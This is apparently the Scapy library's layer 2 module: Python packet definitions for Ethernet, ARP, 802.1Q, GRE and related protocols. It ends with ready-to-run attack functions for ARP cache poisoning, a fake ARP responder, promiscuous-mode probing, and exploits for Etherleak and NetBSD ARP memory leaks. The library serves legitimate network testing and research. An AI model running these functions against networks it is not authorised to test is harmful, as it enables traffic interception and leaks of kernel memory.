1# This file is part of Scapy
2# See http://www.secdev.org/projects/scapy for more information
3# Copyright (C) Philippe Biondi <phil@secdev.org>
4# This program is published under a GPLv2 license
5
6"""
7Classes and functions for layer 2 protocols.
8"""
9
10from __future__ import absolute_import
11from __future__ import print_function
12import os
13import struct
14import time
15import socket
16
17from scapy.ansmachine import AnsweringMachine
18from scapy.arch import get_if_addr, get_if_hwaddr
19from scapy.base_classes import Gen, Net
20from scapy.compat import chb, orb
21from scapy.config import conf
22from scapy import consts
23from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \
24    DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LOOP, \
25    DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, \
26    ETH_P_MACSEC
27from scapy.error import warning, ScapyNoDstMacException
28from scapy.fields import (
29    BCDFloatField,
30    BitField,
31    ByteField,
32    ConditionalField,
33    FCSField,
34    FieldLenField,
35    IP6Field,
36    IPField,
37    IntEnumField,
38    IntField,
39    LenField,
40    MACField,
41    MultipleTypeField,
42    OUIField,
43    ShortEnumField,
44    ShortField,
45    SourceIP6Field,
46    SourceIPField,
47    StrFixedLenField,
48    StrLenField,
49    XByteField,
50    XIntField,
51    XShortEnumField,
52    XShortField,
53)
54from scapy.modules.six import viewitems
55from scapy.packet import bind_layers, Packet
56from scapy.plist import (
57    PacketList,
58    QueryAnswer,
59    SndRcvList,
60    _PacketList,
61)
62from scapy.sendrecv import sendp, srp, srp1
63from scapy.utils import checksum, hexdump, hexstr, inet_ntoa, inet_aton, \
64    mac2str, valid_mac, valid_net, valid_net6
65from scapy.compat import (
66    Any,
67    Callable,
68    Dict,
69    List,
70    Optional,
71    Tuple,
72    Type,
73    Union,
74    cast,
75)
76from scapy.interfaces import NetworkInterface
77if conf.route is None:
78    # unused import, only to initialize conf.route
79    import scapy.route  # noqa: F401
80
81
82# type definitions
83_ResolverCallable = Callable[[Packet, Packet], Optional[str]]
84
85#################
86#  Tools        #
87#################
88
89
90class Neighbor:
91    def __init__(self):
92        # type: () -> None
93        self.resolvers = {}  # type: Dict[Tuple[Type[Packet], Type[Packet]], _ResolverCallable] # noqa: E501
94
95    def register_l3(self, l2, l3, resolve_method):
96        # type: (Type[Packet], Type[Packet], _ResolverCallable) -> None
97        self.resolvers[l2, l3] = resolve_method
98
99    def resolve(self, l2inst, l3inst):
100        # type: (Ether, Packet) -> Optional[str]
101        k = l2inst.__class__, l3inst.__class__
102        if k in self.resolvers:
103            return self.resolvers[k](l2inst, l3inst)
104        return None
105
106    def __repr__(self):
107        # type: () -> str
108        return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers)  # noqa: E501
109
110
111conf.neighbor = Neighbor()
112
113# cache entries expire after 120s
114_arp_cache = conf.netcache.new_cache("arp_cache", 120)
115
116
117@conf.commands.register
118def getmacbyip(ip, chainCC=0):
119    # type: (str, int) -> Optional[str]
120    """Return MAC address corresponding to a given IP address"""
121    if isinstance(ip, Net):
122        ip = next(iter(ip))
123    ip = inet_ntoa(inet_aton(ip or "0.0.0.0"))
124    tmp = [orb(e) for e in inet_aton(ip)]
125    if (tmp[0] & 0xf0) == 0xe0:  # mcast @
126        return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1] & 0x7f, tmp[2], tmp[3])
127    iff, _, gw = conf.route.route(ip)
128    if (iff == conf.loopback_name) or (ip in conf.route.get_if_bcast(iff)):
129        return "ff:ff:ff:ff:ff:ff"
130    if gw != "0.0.0.0":
131        ip = gw
132
133    mac = _arp_cache.get(ip)
134    if mac:
135        return mac
136
137    try:
138        res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip),
139                   type=ETH_P_ARP,
140                   iface=iff,
141                   timeout=2,
142                   verbose=0,
143                   chainCC=chainCC,
144                   nofilter=1)
145    except Exception as ex:
146        warning("getmacbyip failed on %s", ex)
147        return None
148    if res is not None:
149        mac = res.payload.hwsrc
150        _arp_cache[ip] = mac
151        return mac
152    return None
153
154
155# Fields
156
157class DestMACField(MACField):
158    def __init__(self, name):
159        # type: (str) -> None
160        MACField.__init__(self, name, None)
161
162    def i2h(self, pkt, x):
163        # type: (Optional[Ether], Optional[str]) -> str
164        if x is None and pkt is not None:
165            try:
166                x = conf.neighbor.resolve(pkt, pkt.payload)
167            except socket.error:
168                pass
169            if x is None:
170                if conf.raise_no_dst_mac:
171                    raise ScapyNoDstMacException()
172                else:
173                    x = "ff:ff:ff:ff:ff:ff"
174                    warning("Mac address to reach destination not found. Using broadcast.")  # noqa: E501
175        return super(DestMACField, self).i2h(pkt, x)
176
177    def i2m(self, pkt, x):
178        # type: (Optional[Ether], Optional[str]) -> bytes
179        return MACField.i2m(self, pkt, self.i2h(pkt, x))
180
181
182class SourceMACField(MACField):
183    __slots__ = ["getif"]
184
185    def __init__(self, name, getif=None):
186        # type: (str, Optional[Any]) -> None
187        MACField.__init__(self, name, None)
188        self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif
189
190    def i2h(self, pkt, x):
191        # type: (Optional[Packet], Optional[str]) -> str
192        if x is None:
193            iff = self.getif(pkt)
194            if iff is None:
195                iff = conf.iface
196            if iff:
197                try:
198                    x = get_if_hwaddr(iff)
199                except Exception as e:
200                    warning("Could not get the source MAC: %s" % e)
201            if x is None:
202                x = "00:00:00:00:00:00"
203        return super(SourceMACField, self).i2h(pkt, x)
204
205    def i2m(self, pkt, x):
206        # type: (Optional[Ether], Optional[Any]) -> bytes
207        return MACField.i2m(self, pkt, self.i2h(pkt, x))
208
209
210# Layers
211
212ETHER_TYPES[0x88a8] = '802_AD'
213ETHER_TYPES[ETH_P_MACSEC] = '802_1AE'
214
215
216class Ether(Packet):
217    name = "Ethernet"
218    fields_desc = [DestMACField("dst"),
219                   SourceMACField("src"),
220                   XShortEnumField("type", 0x9000, ETHER_TYPES)]
221    __slots__ = ["_defrag_pos"]
222
223    def hashret(self):
224        # type: () -> bytes
225        return struct.pack("H", self.type) + self.payload.hashret()
226
227    def answers(self, other):
228        # type: (Packet) -> int
229        if isinstance(other, Ether):
230            if self.type == other.type:
231                return self.payload.answers(other.payload)
232        return 0
233
234    def mysummary(self):
235        # type: () -> str
236        return self.sprintf("%src% > %dst% (%type%)")
237
238    @classmethod
239    def dispatch_hook(cls, _pkt=None, *args, **kargs):
240        # type: (Optional[bytes], *Any, **Any) -> Type[Packet]
241        if _pkt and len(_pkt) >= 14:
242            if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
243                return Dot3
244        return cls
245
246
247class Dot3(Packet):
248    name = "802.3"
249    fields_desc = [DestMACField("dst"),
250                   SourceMACField("src"),
251                   LenField("len", None, "H")]
252
253    def extract_padding(self, s):
254        # type: (bytes) -> Tuple[bytes, bytes]
255        tmp_len = self.len
256        return s[:tmp_len], s[tmp_len:]
257
258    def answers(self, other):
259        # type: (Ether) -> int
260        if isinstance(other, Dot3):
261            return self.payload.answers(other.payload)
262        return 0
263
264    def mysummary(self):
265        # type: () -> str
266        return "802.3 %s > %s" % (self.src, self.dst)
267
268    @classmethod
269    def dispatch_hook(cls, _pkt=None, *args, **kargs):
270        # type: (Optional[Any], *Any, **Any) -> Type[Packet]
271        if _pkt and len(_pkt) >= 14:
272            if struct.unpack("!H", _pkt[12:14])[0] > 1500:
273                return Ether
274        return cls
275
276
277class LLC(Packet):
278    name = "LLC"
279    fields_desc = [XByteField("dsap", 0x00),
280                   XByteField("ssap", 0x00),
281                   ByteField("ctrl", 0)]
282
283
284def l2_register_l3(l2, l3):
285    # type: (Packet, Packet) -> Optional[str]
286    neighbor = conf.neighbor  # type: Neighbor
287    return neighbor.resolve(l2, l3.payload)
288
289
290conf.neighbor.register_l3(Ether, LLC, l2_register_l3)
291conf.neighbor.register_l3(Dot3, LLC, l2_register_l3)
292
293
294class CookedLinux(Packet):
295    # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html
296    name = "cooked linux"
297    # from wireshark's database
298    fields_desc = [ShortEnumField("pkttype", 0, {0: "unicast",
299                                                 1: "broadcast",
300                                                 2: "multicast",
301                                                 3: "unicast-to-another-host",
302                                                 4: "sent-by-us"}),
303                   XShortField("lladdrtype", 512),
304                   ShortField("lladdrlen", 0),
305                   StrFixedLenField("src", b"", 8),
306                   XShortEnumField("proto", 0x800, ETHER_TYPES)]
307
308
309class MPacketPreamble(Packet):
310    # IEEE 802.3br Figure 99-3
311    name = "MPacket Preamble"
312    fields_desc = [StrFixedLenField("preamble", b"", length=8),
313                   FCSField("fcs", 0, fmt="!I")]
314
315
316class SNAP(Packet):
317    name = "SNAP"
318    fields_desc = [OUIField("OUI", 0x000000),
319                   XShortEnumField("code", 0x000, ETHER_TYPES)]
320
321
322conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3)
323
324
325class Dot1Q(Packet):
326    name = "802.1Q"
327    aliastypes = [Ether]
328    fields_desc = [BitField("prio", 0, 3),
329                   BitField("id", 0, 1),
330                   BitField("vlan", 1, 12),
331                   XShortEnumField("type", 0x0000, ETHER_TYPES)]
332
333    def answers(self, other):
334        # type: (Packet) -> int
335        if isinstance(other, Dot1Q):
336            if ((self.type == other.type) and
337                    (self.vlan == other.vlan)):
338                return self.payload.answers(other.payload)
339        else:
340            return self.payload.answers(other)
341        return 0
342
343    def default_payload_class(self, pay):
344        # type: (bytes) -> Type[Packet]
345        if self.type <= 1500:
346            return LLC
347        return conf.raw_layer
348
349    def extract_padding(self, s):
350        # type: (bytes) -> Tuple[bytes, Optional[bytes]]
351        if self.type <= 1500:
352            return s[:self.type], s[self.type:]
353        return s, None
354
355    def mysummary(self):
356        # type: () -> str
357        if isinstance(self.underlayer, Ether):
358            return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%")  # noqa: E501
359        else:
360            return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%")
361
362
363conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3)
364
365
366class STP(Packet):
367    name = "Spanning Tree Protocol"
368    fields_desc = [ShortField("proto", 0),
369                   ByteField("version", 0),
370                   ByteField("bpdutype", 0),
371                   ByteField("bpduflags", 0),
372                   ShortField("rootid", 0),
373                   MACField("rootmac", ETHER_ANY),
374                   IntField("pathcost", 0),
375                   ShortField("bridgeid", 0),
376                   MACField("bridgemac", ETHER_ANY),
377                   ShortField("portid", 0),
378                   BCDFloatField("age", 1),
379                   BCDFloatField("maxage", 20),
380                   BCDFloatField("hellotime", 2),
381                   BCDFloatField("fwddelay", 15)]
382
383
384class ARP(Packet):
385    name = "ARP"
386    fields_desc = [
387        XShortField("hwtype", 0x0001),
388        XShortEnumField("ptype", 0x0800, ETHER_TYPES),
389        FieldLenField("hwlen", None, fmt="B", length_of="hwsrc"),
390        FieldLenField("plen", None, fmt="B", length_of="psrc"),
391        ShortEnumField("op", 1, {
392            "who-has": 1,
393            "is-at": 2,
394            "RARP-req": 3,
395            "RARP-rep": 4,
396            "Dyn-RARP-req": 5,
397            "Dyn-RAR-rep": 6,
398            "Dyn-RARP-err": 7,
399            "InARP-req": 8,
400            "InARP-rep": 9
401        }),
402        MultipleTypeField(
403            [
404                (SourceMACField("hwsrc"),
405                 (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,
406                  lambda pkt, val: pkt.hwtype == 1 and (
407                      pkt.hwlen == 6 or (pkt.hwlen is None and
408                                         (val is None or len(val) == 6 or
409                                          valid_mac(val)))
410                  ))),
411            ],
412            StrFixedLenField("hwsrc", None, length_from=lambda pkt: pkt.hwlen),
413        ),
414        MultipleTypeField(
415            [
416                (SourceIPField("psrc", "pdst"),
417                 (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,
418                  lambda pkt, val: pkt.ptype == 0x0800 and (
419                      pkt.plen == 4 or (pkt.plen is None and
420                                        (val is None or valid_net(val)))
421                  ))),
422                (SourceIP6Field("psrc", "pdst"),
423                 (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,
424                  lambda pkt, val: pkt.ptype == 0x86dd and (
425                      pkt.plen == 16 or (pkt.plen is None and
426                                         (val is None or valid_net6(val)))
427                  ))),
428            ],
429            StrFixedLenField("psrc", None, length_from=lambda pkt: pkt.plen),
430        ),
431        MultipleTypeField(
432            [
433                (MACField("hwdst", ETHER_ANY),
434                 (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,
435                  lambda pkt, val: pkt.hwtype == 1 and (
436                      pkt.hwlen == 6 or (pkt.hwlen is None and
437                                         (val is None or len(val) == 6 or
438                                          valid_mac(val)))
439                  ))),
440            ],
441            StrFixedLenField("hwdst", None, length_from=lambda pkt: pkt.hwlen),
442        ),
443        MultipleTypeField(
444            [
445                (IPField("pdst", "0.0.0.0"),
446                 (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,
447                  lambda pkt, val: pkt.ptype == 0x0800 and (
448                      pkt.plen == 4 or (pkt.plen is None and
449                                        (val is None or valid_net(val)))
450                  ))),
451                (IP6Field("pdst", "::"),
452                 (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,
453                  lambda pkt, val: pkt.ptype == 0x86dd and (
454                      pkt.plen == 16 or (pkt.plen is None and
455                                         (val is None or valid_net6(val)))
456                  ))),
457            ],
458            StrFixedLenField("pdst", None, length_from=lambda pkt: pkt.plen),
459        ),
460    ]
461
462    def hashret(self):
463        # type: () -> bytes
464        return struct.pack(">HHH", self.hwtype, self.ptype,
465                           ((self.op + 1) // 2)) + self.payload.hashret()
466
467    def answers(self, other):
468        # type: (Packet) -> int
469        if not isinstance(other, ARP):
470            return False
471        if self.op != other.op + 1:
472            return False
473        # We use a loose comparison on psrc vs pdst to catch answers
474        # with ARP leaks
475        self_psrc = self.get_field('psrc').i2m(self, self.psrc)  # type: bytes
476        other_pdst = other.get_field('pdst').i2m(other, other.pdst) \
477            # type: bytes
478        return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)]
479
480    def route(self):
481        # type: () -> Tuple[Union[NetworkInterface, str, None], Optional[str], Optional[str]] # noqa: E501
482        fld, dst = cast(Tuple[MultipleTypeField, str],
483                        self.getfield_and_val("pdst"))
484        fld_inner, dst = fld._find_fld_pkt_val(self, dst)
485        if isinstance(dst, Gen):
486            dst = next(iter(dst))
487        if isinstance(fld_inner, IP6Field):
488            return conf.route6.route(dst)
489        elif isinstance(fld_inner, IPField):
490            return conf.route.route(dst)
491        else:
492            return None, None, None
493
494    def extract_padding(self, s):
495        # type: (bytes) -> Tuple[bytes, bytes]
496        return b"", s
497
498    def mysummary(self):
499        # type: () -> str
500        if self.op == 1:
501            return self.sprintf("ARP who has %pdst% says %psrc%")
502        if self.op == 2:
503            return self.sprintf("ARP is at %hwsrc% says %psrc%")
504        return self.sprintf("ARP %op% %psrc% > %pdst%")
505
506
507def l2_register_l3_arp(l2, l3):
508    # type: (Type[Packet], Type[Packet]) -> Optional[str]
509    return getmacbyip(l3.pdst)
510
511
512conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp)
513
514
515class GRErouting(Packet):
516    name = "GRE routing information"
517    fields_desc = [ShortField("address_family", 0),
518                   ByteField("SRE_offset", 0),
519                   FieldLenField("SRE_len", None, "routing_info", "B"),
520                   StrLenField("routing_info", b"",
521                               length_from=lambda pkt: pkt.SRE_len),
522                   ]
523
524
525class GRE(Packet):
526    name = "GRE"
527    deprecated_fields = {
528        "seqence_number": ("sequence_number", "2.4.4"),
529    }
530    fields_desc = [BitField("chksum_present", 0, 1),
531                   BitField("routing_present", 0, 1),
532                   BitField("key_present", 0, 1),
533                   BitField("seqnum_present", 0, 1),
534                   BitField("strict_route_source", 0, 1),
535                   BitField("recursion_control", 0, 3),
536                   BitField("flags", 0, 5),
537                   BitField("version", 0, 3),
538                   XShortEnumField("proto", 0x0000, ETHER_TYPES),
539                   ConditionalField(XShortField("chksum", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1),  # noqa: E501
540                   ConditionalField(XShortField("offset", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1),  # noqa: E501
541                   ConditionalField(XIntField("key", None), lambda pkt:pkt.key_present == 1),  # noqa: E501
542                   ConditionalField(XIntField("sequence_number", None), lambda pkt:pkt.seqnum_present == 1),  # noqa: E501
543                   ]
544
545    @classmethod
546    def dispatch_hook(cls, _pkt=None, *args, **kargs):
547        # type: (Optional[Any], *Any, **Any) -> Type[Packet]
548        if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b:
549            return GRE_PPTP
550        return cls
551
552    def post_build(self, p, pay):
553        # type: (bytes, bytes) -> bytes
554        p += pay
555        if self.chksum_present and self.chksum is None:
556            c = checksum(p)
557            p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:]
558        return p
559
560
561class GRE_PPTP(GRE):
562
563    """
564    Enhanced GRE header used with PPTP
565    RFC 2637
566    """
567
568    name = "GRE PPTP"
569    deprecated_fields = {
570        "seqence_number": ("sequence_number", "2.4.4"),
571    }
572    fields_desc = [BitField("chksum_present", 0, 1),
573                   BitField("routing_present", 0, 1),
574                   BitField("key_present", 1, 1),
575                   BitField("seqnum_present", 0, 1),
576                   BitField("strict_route_source", 0, 1),
577                   BitField("recursion_control", 0, 3),
578                   BitField("acknum_present", 0, 1),
579                   BitField("flags", 0, 4),
580                   BitField("version", 1, 3),
581                   XShortEnumField("proto", 0x880b, ETHER_TYPES),
582                   ShortField("payload_len", None),
583                   ShortField("call_id", None),
584                   ConditionalField(XIntField("sequence_number", None), lambda pkt: pkt.seqnum_present == 1),  # noqa: E501
585                   ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)]  # noqa: E501
586
587    def post_build(self, p, pay):
588        # type: (bytes, bytes) -> bytes
589        p += pay
590        if self.payload_len is None:
591            pay_len = len(pay)
592            p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:]  # noqa: E501
593        return p
594
595
596# *BSD loopback layer
597
598class LoIntEnumField(IntEnumField):
599
600    def m2i(self, pkt, x):
601        # type: (Optional[Packet], int) -> int
602        return x >> 24
603
604    def i2m(self, pkt, x):
605        # type: (Optional[Packet], Union[List[int], int, None]) -> int
606        return cast(int, x) << 24
607
608
609# https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c
610# https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html
611LOOPBACK_TYPES = {0x2: "IPv4",
612                  0x7: "OSI",
613                  0x10: "Appletalk",
614                  0x17: "Netware IPX/SPX",
615                  0x18: "IPv6", 0x1c: "IPv6", 0x1e: "IPv6"}
616
617
618class Loopback(Packet):
619    r"""\*BSD loopback layer"""
620
621    name = "Loopback"
622    if consts.OPENBSD:
623        fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)]
624    else:
625        fields_desc = [LoIntEnumField("type", 0x2, LOOPBACK_TYPES)]
626    __slots__ = ["_defrag_pos"]
627
628
629class Dot1AD(Dot1Q):
630    name = '802_1AD'
631
632
633bind_layers(Dot3, LLC)
634bind_layers(Ether, LLC, type=122)
635bind_layers(Ether, LLC, type=34928)
636bind_layers(Ether, Dot1Q, type=33024)
637bind_layers(Ether, Dot1AD, type=0x88a8)
638bind_layers(Dot1AD, Dot1AD, type=0x88a8)
639bind_layers(Dot1AD, Dot1Q, type=0x8100)
640bind_layers(Dot1Q, Dot1AD, type=0x88a8)
641bind_layers(Ether, Ether, type=1)
642bind_layers(Ether, ARP, type=2054)
643bind_layers(CookedLinux, LLC, proto=122)
644bind_layers(CookedLinux, Dot1Q, proto=33024)
645bind_layers(CookedLinux, Dot1AD, type=0x88a8)
646bind_layers(CookedLinux, Ether, proto=1)
647bind_layers(CookedLinux, ARP, proto=2054)
648bind_layers(MPacketPreamble, Ether)
649bind_layers(GRE, LLC, proto=122)
650bind_layers(GRE, Dot1Q, proto=33024)
651bind_layers(GRE, Dot1AD, type=0x88a8)
652bind_layers(GRE, Ether, proto=0x6558)
653bind_layers(GRE, ARP, proto=2054)
654bind_layers(GRE, GRErouting, {"routing_present": 1})
655bind_layers(GRErouting, conf.raw_layer, {"address_family": 0, "SRE_len": 0})
656bind_layers(GRErouting, GRErouting)
657bind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3)
658bind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3)
659bind_layers(SNAP, Dot1Q, code=33024)
660bind_layers(SNAP, Dot1AD, type=0x88a8)
661bind_layers(SNAP, Ether, code=1)
662bind_layers(SNAP, ARP, code=2054)
663bind_layers(SNAP, STP, code=267)
664
665conf.l2types.register(ARPHDR_ETHER, Ether)
666conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether)
667conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether)
668conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3)
669conf.l2types.register(DLT_LINUX_SLL, CookedLinux)
670conf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble)
671conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux)
672conf.l2types.register(DLT_LOOP, Loopback)
673conf.l2types.register_num2layer(DLT_NULL, Loopback)
674
675conf.l3types.register(ETH_P_ARP, ARP)
676
677
678# Techniques
679
680
681@conf.commands.register
682def arpcachepoison(target, victim, interval=60):
683    # type: (str, str, int) -> None
684    """Poison target's cache with (your MAC,victim's IP) couple
685arpcachepoison(target, victim, [interval=60]) -> None
686"""
687    tmac = getmacbyip(target)
688    p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
689    try:
690        while True:
691            sendp(p, iface_hint=target)
692            if conf.verb > 1:
693                os.write(1, b".")
694            time.sleep(interval)
695    except KeyboardInterrupt:
696        pass
697
698
699class ARPingResult(SndRcvList):
700    def __init__(self,
701                 res=None,  # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]]  # noqa: E501
702                 name="ARPing",  # type: str
703                 stats=None  # type: Optional[List[Type[Packet]]]
704                 ):
705        SndRcvList.__init__(self, res, name, stats)
706
707    def show(self, *args, **kwargs):
708        # type: (*Any, **Any) -> None
709        """
710        Print the list of discovered MAC addresses.
711        """
712
713        data = list()
714        padding = 0
715
716        for s, r in self.res:
717            manuf = conf.manufdb._get_short_manuf(r.src)
718            manuf = "unknown" if manuf == r.src else manuf
719            padding = max(padding, len(manuf))
720            data.append((r[Ether].src, manuf, r[ARP].psrc))
721
722        for src, manuf, psrc in data:
723            print("  %-17s %-*s %s" % (src, padding, manuf, psrc))
724
725
726@conf.commands.register
727def arping(net, timeout=2, cache=0, verbose=None, **kargs):
728    # type: (str, int, int, Optional[int], **Any) -> Tuple[ARPingResult, PacketList] # noqa: E501
729    """Send ARP who-has requests to determine which hosts are up
730arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None
731Set cache=True if you want arping to modify internal ARP-Cache"""
732    if verbose is None:
733        verbose = conf.verb
734    ans, unans = srp(
735        Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net),
736        verbose=verbose,
737        filter="arp and arp[7] = 2",
738        timeout=timeout,
739        iface_hint=net,
740        **kargs
741    )
742    ans = ARPingResult(ans.res)
743
744    if cache and ans is not None:
745        for pair in ans:
746            _arp_cache[pair[1].psrc] = pair[1].hwsrc
747    if ans is not None and verbose:
748        ans.show()
749    return ans, unans
750
751
752@conf.commands.register
753def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs):
754    # type: (str, str, **Any) -> bool
755    """Try to guess if target is in Promisc mode. The target is provided by its ip."""  # noqa: E501
756
757    responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs)  # noqa: E501
758
759    return responses is not None
760
761
762@conf.commands.register
763def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
764    # type: (str, int, str, **Any) -> Tuple[ARPingResult, PacketList]
765    """Send ARP who-has requests to determine which hosts are in promiscuous mode
766    promiscping(net, iface=conf.iface)"""
767    ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),
768                     filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)  # noqa: E501
769    ans = ARPingResult(ans.res, name="PROMISCPing")
770
771    ans.display()
772    return ans, unans
773
774
775class ARP_am(AnsweringMachine):
776    """Fake ARP Relay Daemon (farpd)
777
778    example:
779    To respond to an ARP request for 192.168.100 replying on the
780    ingress interface::
781
782      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')
783
784    To respond on a different interface add the interface parameter::
785
786      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')
787
788    To respond on ANY arp request on an interface with mac address ARP_addr::
789
790      farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')
791
792    To respond on ANY arp request with my mac addr on the given interface::
793
794      farpd(iface='eth1')
795
796    Optional Args::
797
798     inter=<n>   Interval in seconds between ARP replies being sent
799
800    """
801
802    function_name = "farpd"
803    filter = "arp"
804    send_function = staticmethod(sendp)
805
806    def parse_options(self, IP_addr=None, ARP_addr=None):
807        # type: (Optional[str], Optional[str]) -> None
808        self.IP_addr = IP_addr
809        self.ARP_addr = ARP_addr
810
811    def is_request(self, req):
812        # type: (Ether) -> bool
813        if not req.haslayer(ARP):
814            return False
815        arp = req[ARP]
816        return arp.op == 1 and \
817            (self.IP_addr is None or self.IP_addr == arp.pdst)  # noqa: E501
818
819    def make_reply(self, req):
820        # type: (Ether) -> Ether
821        ether = req[Ether]
822        arp = req[ARP]
823
824        if 'iface' in self.optsend:
825            iff = self.optsend.get('iface')
826        else:
827            iff, a, gw = conf.route.route(arp.psrc)
828        self.iff = iff
829        if self.ARP_addr is None:
830            try:
831                ARP_addr = get_if_hwaddr(iff)
832            except Exception:
833                ARP_addr = "00:00:00:00:00:00"
834        else:
835            ARP_addr = self.ARP_addr
836        resp = Ether(dst=ether.src,
837                     src=ARP_addr) / ARP(op="is-at",
838                                         hwsrc=ARP_addr,
839                                         psrc=arp.pdst,
840                                         hwdst=arp.hwsrc,
841                                         pdst=arp.psrc)
842        return resp
843
844    def send_reply(self, reply):
845        # type: (ARP) -> None
846        if 'iface' in self.optsend:
847            self.send_function(reply, **self.optsend)
848        else:
849            self.send_function(reply, iface=self.iff, **self.optsend)
850
851    def print_reply(self, req, reply):
852        # type: (Ether, Ether) -> None
853        print("%s ==> %s on %s" % (req.summary(), reply.summary(), self.iff))
854
855
856@conf.commands.register
857def etherleak(target, **kargs):
858    # type: (str, **Any) -> Tuple[SndRcvList, PacketList]
859    """Exploit Etherleak flaw"""
860    return srp(Ether() / ARP(pdst=target),
861               prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load),  # noqa: E501
862               filter="arp", **kargs)
863
864
865@conf.commands.register
866def arpleak(target, plen=255, hwlen=255, **kargs):
867    # type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList]
868    """Exploit ARP leak flaws, like NetBSD-SA2017-002.
869
870https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
871
872    """
873    # We want explicit packets
874    pkts_iface = {}  # type: Dict[str, List[Ether]]
875    for pkt in ARP(pdst=target):
876        # We have to do some of Scapy's work since we mess with
877        # important values
878        iface = conf.route.route(pkt.pdst)[0]
879        psrc = get_if_addr(iface)
880        hwsrc = get_if_hwaddr(iface)
881        pkt.plen = plen
882        pkt.hwlen = hwlen
883        if plen == 4:
884            pkt.psrc = psrc
885        else:
886            pkt.psrc = inet_aton(psrc)[:plen]
887            pkt.pdst = inet_aton(pkt.pdst)[:plen]
888        if hwlen == 6:
889            pkt.hwsrc = hwsrc
890        else:
891            pkt.hwsrc = mac2str(hwsrc)[:hwlen]
892        pkts_iface.setdefault(iface, []).append(
893            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt
894        )
895    ans, unans = SndRcvList(), PacketList(name="Unanswered")
896    for iface, pkts in viewitems(pkts_iface):
897        ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs)
898        ans += ans_new
899        unans += unans_new
900        ans.listname = "Results"
901        unans.listname = "Unanswered"
902    for _, rcv in ans:
903        if ARP not in rcv:
904            continue
905        rcv = rcv[ARP]
906        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)
907        if plen > 4 and len(psrc) > 4:
908            print("psrc")
909            hexdump(psrc[4:])
910            print()
911        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)
912        if hwlen > 6 and len(hwsrc) > 6:
913            print("hwsrc")
914            hexdump(hwsrc[6:])
915            print()
916    return ans, unans
917